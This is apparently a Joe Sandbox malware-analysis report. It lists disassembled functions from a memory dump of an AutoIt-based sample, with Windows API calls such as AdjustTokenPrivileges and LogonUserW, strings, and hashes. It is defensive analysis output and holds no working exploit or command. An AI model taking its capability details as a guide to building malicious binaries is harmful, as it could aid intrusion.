Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Time$FileSystem__aulldiv__time64
String ID: 0e+
API String ID: 2893107130-1864129056
Opcode ID: 733ae2c3c69a65390b6e911112cdac6b999ed0dcecbfa45b227fc64e40792651
Instruction ID: 4f4a21551aed2d4a171c5d540de97fa9ca9952227e6d7a6211f9369fb91975ed
Opcode Fuzzy Hash: 733ae2c3c69a65390b6e911112cdac6b999ed0dcecbfa45b227fc64e40792651
Instruction Fuzzy Hash: 6C21E432635610CBC329CF29D845A52B3E1EFA4311B688F6CD4F5CB2C0CA74B915CB54

Function 0025C6D1 Relevance: 3.1, APIs: 2, Instructions: 52fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 0025C6FB
FindClose.KERNEL32(00000000), ref: 0025C72B

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: ccd293c847dc5492c959e16d186220a7c8a391f97a81f2b62e254de596f50ab4
Instruction ID: 4d0ecc5418b3ba953d3601f9e60ea81e8d5d9a243c68bcb2a093a311e940f9cd
Opcode Fuzzy Hash: ccd293c847dc5492c959e16d186220a7c8a391f97a81f2b62e254de596f50ab4
Instruction Fuzzy Hash: EC118E726146049FDB10EF29D849A2AF7E8EF95361F10851EF9A9872A1DB30AC05CF81

Function 0025A06A Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,00000016,?,00269468,?,0027FB84,?), ref: 0025A097
FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,00000016,?,00269468,?,0027FB84,?), ref: 0025A0A9

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 288a1077342253c0d8a2e07f48a5b5c7350e87dfda1b532c972f53d9f2de78b2
Instruction ID: 9ea7fa670751f245a1839dcc0dd49a8d0ce5810e23dbd1bb8eba3c4ece671e3d
Opcode Fuzzy Hash: 288a1077342253c0d8a2e07f48a5b5c7350e87dfda1b532c972f53d9f2de78b2
Instruction Fuzzy Hash: 1DF0E23512422DBBDB209FA4DC49FFA736CBF08361F004265FD09D6181C6309954CBA1

Function 002481CB Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00248309), ref: 002481E0
CloseHandle.KERNEL32(?,?,00248309), ref: 002481F2

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: 5a7c8dd73224cc2bef593fb1e489f38026782df9cad0d2a65f8abeb741f3d44e
Instruction ID: 6c76dfdfc2489cbd4444d13d1cda218d26085fd7ddfca7dd0bdef3b3d836a936
Opcode Fuzzy Hash: 5a7c8dd73224cc2bef593fb1e489f38026782df9cad0d2a65f8abeb741f3d44e
Instruction Fuzzy Hash: B4E0EC72024611AFE7652B71FC09DB77BEAEF04310714886DF8AA84470DBA2ACF1DB10

Function 0021A155 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00218D57,?,?,?,00000001), ref: 0021A15A
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 0021A163

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 0e69e6fa4068c6df057f472ec536f9e63253f557b88d92641421832223ad8755
Instruction ID: e44d45d9c58e2daeb2c218566ba8eec1d1f666545cf03510e124b18563b1d224
Opcode Fuzzy Hash: 0e69e6fa4068c6df057f472ec536f9e63253f557b88d92641421832223ad8755
Instruction Fuzzy Hash: 27B09231058248ABCA806B91FD0DB883F68EB44AAAF4040A0FE0D84060CB6254908A91

Function 0021F1D9 Relevance: 2.1, APIs: 1, Instructions: 645COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ffe823aa5a2a9e5bbda4016782f0f050411e6a1dc4253a026ee019848f6adfd
Instruction ID: 812b43480d83e686e6185b3d22593f71c5f1d92ddccffaf0c2db503b4cbab898
Opcode Fuzzy Hash: 6ffe823aa5a2a9e5bbda4016782f0f050411e6a1dc4253a026ee019848f6adfd
Instruction Fuzzy Hash: 6F321435D3AF414DD7639634D936325A289AFB73D8F25C737E829B59A6EB28C4C34200

Function 0022242E Relevance: 1.8, APIs: 1, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa81f71fdd722cf880a1672687be31d88b9521513d0fa5f033ade1cd311a545d
Instruction ID: ca2c4602f87df8f63d69ca9d8f4a68c5a82714f0e3f3731d314fd1189488e72e
Opcode Fuzzy Hash: aa81f71fdd722cf880a1672687be31d88b9521513d0fa5f033ade1cd311a545d
Instruction Fuzzy Hash: 0FB10134D2AF504DE7239639A835336B65CAFBB2C5F51D71BFC2674D22EB2285834241

Function 00254C27 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

mouse_event.USER32(00000002,00000000,00000000,00000000,00000000), ref: 00254C4A

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: mouse_event
String ID:
API String ID: 2434400541-0
Opcode ID: ac9fcb4f967dde03b1275cdee78d2e45a0b74895e69bd18f7c06724bc664fc88
Instruction ID: 5802368e3dd6b1e349597504ef439bb2beb6b8c1a28686b8f88e55e2d8f89757
Opcode Fuzzy Hash: ac9fcb4f967dde03b1275cdee78d2e45a0b74895e69bd18f7c06724bc664fc88
Instruction Fuzzy Hash: C1D017A117520A28E81C6B209A0FF7A9108E38078FFD0814A7D028A0C1A8E05CE85038

Function 002487B1 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

LogonUserW.ADVAPI32(?,00000001,?,?,00000000,00248389), ref: 002487D1

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: LogonUser
String ID:
API String ID: 1244722697-0
Opcode ID: efec161ca2d4e063d34664b65d2e8f7d1082a7b1817ab2423f455ce5d093842a
Instruction ID: b6b203a5369ef3242f2b058c1ffd2625b8a4921351951d0957adaac0b4054f75
Opcode Fuzzy Hash: efec161ca2d4e063d34664b65d2e8f7d1082a7b1817ab2423f455ce5d093842a
Instruction Fuzzy Hash: BAD05E3226450EABEF018EA4ED05EAE3B69EB04B01F408111FE15C61A1C775D835AB60

Function 0021A124 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 0021A12A

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: edf4b9d53bda24507929ff07c1c4a464f14fccbed3ed754faed639072b8dd740
Instruction ID: f3ab536c2fa3cf9b0dfc205d9188a01b9d7fcab365cb4d21698dd5a400a62183
Opcode Fuzzy Hash: edf4b9d53bda24507929ff07c1c4a464f14fccbed3ed754faed639072b8dd740
Instruction Fuzzy Hash: 3AA0113000820CAB8A002B82FC08888BFACEB002A8B0080A0FC0C800228B32A8A08A80

Function 00208808 Relevance: .6, Instructions: 590COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4621f3a3780bb42f23ea2f0310b685bfdbc9763fe3e93781cb280e4a58be7801
Instruction ID: 629cfa4e567239a585d4e3779aab9a59724d8a2cddf73ec3abca228ac5728e55
Opcode Fuzzy Hash: 4621f3a3780bb42f23ea2f0310b685bfdbc9763fe3e93781cb280e4a58be7801
Instruction Fuzzy Hash: F222E33063466B8BDF2CDE24C49477E77A1BB41344F28846BD9C68A9D3DBB09DB1C641

Function 002121C5 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction ID: 4ff2717c60fa292b7b39b4d7508dfd96a9b176197c533c710be7fdf0e1d548db
Opcode Fuzzy Hash: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction Fuzzy Hash: D3C19A3222509349DF2D4A3994750BEFAE15EB27B131A076DE8B3DB1D4EE20C9B9D610

Function 002125FA Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction ID: eea27f88b83874f3797ccb8d844998204b96b948a80445c568f65bef0dc88a92
Opcode Fuzzy Hash: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction Fuzzy Hash: 47C1B8322151934ADF2D4A39D4351BEFAE15EB27B131A076DE4B3DB0D4EE20C9B9D620

Function 00211978 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction ID: 84ea2d8493bff359fb87a05ba9c3ed31e000111bdf505c9bea87371d440273ce
Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction Fuzzy Hash: 79C1833222919309DF2D4A39D4351BEBAE15EB2BB131A076DD5B3CB1C4EE30C9B5D660

Function 00267806 Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 491filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 0026785B
DeleteObject.GDI32(00000000), ref: 0026786D
DestroyWindow.USER32 ref: 0026787B
GetDesktopWindow.USER32 ref: 00267895
GetWindowRect.USER32(00000000), ref: 0026789C
SetRect.USER32(?,00000000,00000000,000001F4,00000190), ref: 002679DD
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000002), ref: 002679ED
CreateWindowExW.USER32(00000002,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00267A35
GetClientRect.USER32(00000000,?), ref: 00267A41
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00267A7B
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00267A9D
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00267AB0
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00267ABB
GlobalLock.KERNEL32(00000000), ref: 00267AC4
ReadFile.KERNEL32(00000000,00000000,00000000,00000190,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00267AD3
GlobalUnlock.KERNEL32(00000000), ref: 00267ADC
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00267AE3
GlobalFree.KERNEL32(00000000), ref: 00267AEE
CreateStreamOnHGlobal.OLE32(00000000,00000001,88C00000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00267B00
OleLoadPicture.OLEAUT32(88C00000,00000000,00000000,00282CAC,00000000), ref: 00267B16
GlobalFree.KERNEL32(00000000), ref: 00267B26
CopyImage.USER32(000001F4,00000000,00000000,00000000,00002000), ref: 00267B4C
SendMessageW.USER32(?,00000172,00000000,000001F4), ref: 00267B6B
SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00267B8D
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00267D7A

Strings

DISPLAY, xrefs: 00267BDD
, xrefs: 00267D00
AutoIt v3, xrefs: 00267A2D
static, xrefs: 00267A75, 00267BCC

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: 2fe05e7cf49f072482c23cb85d28d5dff4afe742b8b16a11d58ded6ab4038f73
Instruction ID: c8fc9d0d6c89af43d339bac74202db86796ea9896c1b241d14ffe170c9a2aa89
Opcode Fuzzy Hash: 2fe05e7cf49f072482c23cb85d28d5dff4afe742b8b16a11d58ded6ab4038f73
Instruction Fuzzy Hash: 1D027B71914119EFDB14DFA4ED8DEAE7BB9EF48314F108158F919AB2A1C730AD81CB60

Function 0027356B Relevance: 51.1, APIs: 6, Strings: 23, Instructions: 365windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,0027F910), ref: 00273627
IsWindowVisible.USER32(?), ref: 0027364B

Strings

FINDSTRING, xrefs: 00273776
ISENABLED, xrefs: 0027366B
DELSTRING, xrefs: 00273749
GETCURRENTSELECTION, xrefs: 002737E3
ISCHECKED, xrefs: 00273839
GETLINECOUNT, xrefs: 002738C6
EDITPASTE, xrefs: 0027395F
TABLEFT, xrefs: 00273687
GETLINE, xrefs: 0027399B
ADDSTRING, xrefs: 00273716
SENDCOMMANDID, xrefs: 002739DA
TABRIGHT, xrefs: 0027369D
HIDEDROPDOWN, xrefs: 00273700
UNCHECK, xrefs: 00273883
CURRENTTAB, xrefs: 002736BD
GETSELECTED, xrefs: 002738A3
GETCURRENTLINE, xrefs: 002738ED
SHOWDROPDOWN, xrefs: 002736E0
SETCURRENTSELECTION, xrefs: 002737B6
SELECTSTRING, xrefs: 00273806
GETCURRENTCOL, xrefs: 00273928
ISVISIBLE, xrefs: 00273637
CHECK, xrefs: 0027386D

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: BuffCharUpperVisibleWindow
String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
API String ID: 4105515805-45149045
Opcode ID: 3e9c10a843cb855a7edaef91ef4e2aa2e2468b6eb2d9579a86260ca3fd99b7fc
Instruction ID: debb61d381d39fbe6f86691f49aced9920a4f60ac338d5fc8eabdf55cbaa188d
Opcode Fuzzy Hash: 3e9c10a843cb855a7edaef91ef4e2aa2e2468b6eb2d9579a86260ca3fd99b7fc
Instruction Fuzzy Hash: 9DD1B3702343019FCB04EF10C856AAEB7E5AF95344F148458F98A5B3A2DB71DEAADF41

Function 0027A5DA Relevance: 49.8, APIs: 33, Instructions: 260COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 0027A630
GetSysColorBrush.USER32(0000000F), ref: 0027A661
GetSysColor.USER32(0000000F), ref: 0027A66D
SetBkColor.GDI32(?,000000FF), ref: 0027A687
SelectObject.GDI32(?,00000000), ref: 0027A696
InflateRect.USER32(?,000000FF,000000FF), ref: 0027A6C1
GetSysColor.USER32(00000010), ref: 0027A6C9
CreateSolidBrush.GDI32(00000000), ref: 0027A6D0
FrameRect.USER32(?,?,00000000), ref: 0027A6DF
DeleteObject.GDI32(00000000), ref: 0027A6E6
InflateRect.USER32(?,000000FE,000000FE), ref: 0027A731
FillRect.USER32(?,?,00000000), ref: 0027A763
GetWindowLongW.USER32(?,000000F0), ref: 0027A78E

Part of subcall function 0027A8CA: GetSysColor.USER32(00000012), ref: 0027A903
Part of subcall function 0027A8CA: SetTextColor.GDI32(?,?), ref: 0027A907
Part of subcall function 0027A8CA: GetSysColorBrush.USER32(0000000F), ref: 0027A91D
Part of subcall function 0027A8CA: GetSysColor.USER32(0000000F), ref: 0027A928
Part of subcall function 0027A8CA: GetSysColor.USER32(00000011), ref: 0027A945
Part of subcall function 0027A8CA: CreatePen.GDI32(00000000,00000001,00743C00), ref: 0027A953
Part of subcall function 0027A8CA: SelectObject.GDI32(?,00000000), ref: 0027A964
Part of subcall function 0027A8CA: SetBkColor.GDI32(?,00000000), ref: 0027A96D
Part of subcall function 0027A8CA: SelectObject.GDI32(?,?), ref: 0027A97A
Part of subcall function 0027A8CA: InflateRect.USER32(?,000000FF,000000FF), ref: 0027A999
Part of subcall function 0027A8CA: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0027A9B0
Part of subcall function 0027A8CA: GetWindowLongW.USER32(00000000,000000F0), ref: 0027A9C5
Part of subcall function 0027A8CA: SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0027A9ED

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameMessageRoundSendSolid
String ID:
API String ID: 3521893082-0
Opcode ID: 506c72e58cf3b7e6dd8328886a82241781d617519fc67f5fa4a2714cf7c5954a
Instruction ID: 9090ffb5d5842623e52f9bd3bdd165fdb70a40034e7297c45b42d088f8469b84
Opcode Fuzzy Hash: 506c72e58cf3b7e6dd8328886a82241781d617519fc67f5fa4a2714cf7c5954a
